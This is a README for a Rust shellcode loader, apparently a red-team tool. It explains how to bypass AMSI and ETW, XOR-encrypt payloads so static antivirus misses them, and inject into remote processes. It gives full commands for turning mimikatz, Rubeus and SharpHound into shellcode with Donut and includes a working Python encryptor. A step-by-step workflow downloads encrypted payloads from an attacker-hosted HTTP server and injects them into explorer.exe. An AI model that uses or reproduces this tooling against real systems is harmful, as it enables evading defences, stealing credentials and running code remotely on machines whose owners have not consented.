A Rust-based shellcode loader designed for red team operations. Loads Donut-generated shellcode from disk or remote URLs, with XOR decryption, AMSI/ETW bypass, and process injection support.
- Local & Remote Loading — Load shellcode from a file or HTTP/HTTPS URL
- XOR Encryption — Runtime decryption of pre-encrypted payloads to evade static analysis
- AMSI Bypass — Patches
AmsiScanBufferin-memory - ETW Bypass — Patches
EtwEventWriteto blind event tracing - RW → RX Memory — Avoids suspicious RWX allocations
- Process Injection — Inject into remote processes via
CreateRemoteThread - Zero Dependencies — No external crates; all Windows API via FFI
- HTTPS Support — Native WinHTTP with self-signed cert bypass
cargo build --releaseThe binary will be at target\release\loader.exe.
# Install the Windows target
rustup target add x86_64-pc-windows-gnu
# Install MinGW toolchain
sudo apt install mingw-w64 gcc-mingw-w64-x86-64 -y
# Build
cargo build --release --target x86_64-pc-windows-gnuThe binary will be at target/x86_64-pc-windows-gnu/release/loader.exe.
rustup target add i686-pc-windows-gnu
sudo apt install gcc-mingw-w64-i686 -y
cargo build --release --target i686-pc-windows-gnuDonut converts PE executables (.exe, .dll), .NET assemblies, and scripts into position-independent shellcode.
# Linux
git clone https://github.com/TheWover/donut.git
cd donut
make
# Or use the Python module
pip install donut-shellcode# Basic — convert an EXE to shellcode
./donut -i mimikatz.exe -o payload.bin
# With specific parameters
./donut -i Rubeus.exe -o rubeus.bin -p "kerberoast" -a 2
# .NET assembly
./donut -i SharpHound.exe -o sharphound.bin -a 2Common Donut flags:
| Flag | Description |
|---|---|
-i |
Input file (exe, dll, .NET assembly) |
-o |
Output shellcode file |
-a |
Architecture: 1 = x86, 2 = x64, 3 = both |
-p |
Command-line arguments for the payload |
-e |
Entropy: 1 = none, 2 = random names, 3 = random + encryption (default) |
Encrypting the shellcode prevents static signature detection. The loader decrypts it at runtime.
# encrypt.py
import sys
import itertools
def xor_encrypt(input_file, output_file, key):
with open(input_file, "rb") as f:
data = f.read()
encrypted = bytes(b ^ k for b, k in zip(data, itertools.cycle(key.encode())))
with open(output_file, "wb") as f:
f.write(encrypted)
print(f"[+] Encrypted {len(data)} bytes with key '{key}'")
print(f"[+] Saved to {output_file}")
if __name__ == "__main__":
if len(sys.argv) != 4:
print("Usage: python encrypt.py <input.bin> <output.bin> <key>")
sys.exit(1)
xor_encrypt(sys.argv[1], sys.argv[2], sys.argv[3])python encrypt.py payload.bin payload_enc.bin Sup3rS3cr3tK3y!2026Use long, random keys (16+ characters) to avoid easy pattern detection.
loader.exe payload.binloader.exe http://192.168.100.59:8443/payload.bin
loader.exe https://10.10.14.5/payload.binloader.exe --xor Sup3rS3cr3tK3y!2026 payload_enc.binloader.exe --xor Sup3rS3cr3tK3y!2026 http://192.168.100.59:8443/payload_enc.bin# Inject into PID 4728
loader.exe --inject 4728 payload.bin
# Inject with XOR + Remote
loader.exe --inject 4728 --xor Sup3rS3cr3tK3y!2026 http://192.168.100.59:8443/payload_enc.bin# ──── On your Linux attack box ────
# 1. Generate shellcode from target binary
./donut -i mimikatz.exe -o payload.bin -a 2
# 2. Encrypt the shellcode
python encrypt.py payload.bin payload_enc.bin Rud0lph_Th3_R3d
# 3. Serve it over HTTP
python3 -m http.server 8443
# ──── On the Windows target ────
# 4a. Execute in current process
loader.exe --xor Rud0lph_Th3_R3d http://192.168.100.59:8443/payload_enc.bin
# 4b. Or inject into explorer.exe (find PID first)
tasklist | findstr explorer
loader.exe --inject 3192 --xor Rud0lph_Th3_R3d http://192.168.100.59:8443/payload_enc.bin- The loader patches AMSI and ETW before loading any shellcode
- Memory is allocated as RW then flipped to RX (no RWX)
- HTTPS mode ignores certificate errors — use self-signed certs freely
- XOR-encrypted payloads on disk are unrecognizable to static AV scanners
- The binary has zero Rust crate dependencies, reducing supply-chain fingerprinting
--injectusesCreateRemoteThread— consider targeting long-lived processes likeexplorer.exeorsvchost.exe
RustyShellLoader/
├── Cargo.toml
├── encrypt.py
├── README.md
└── src/
└── main.rs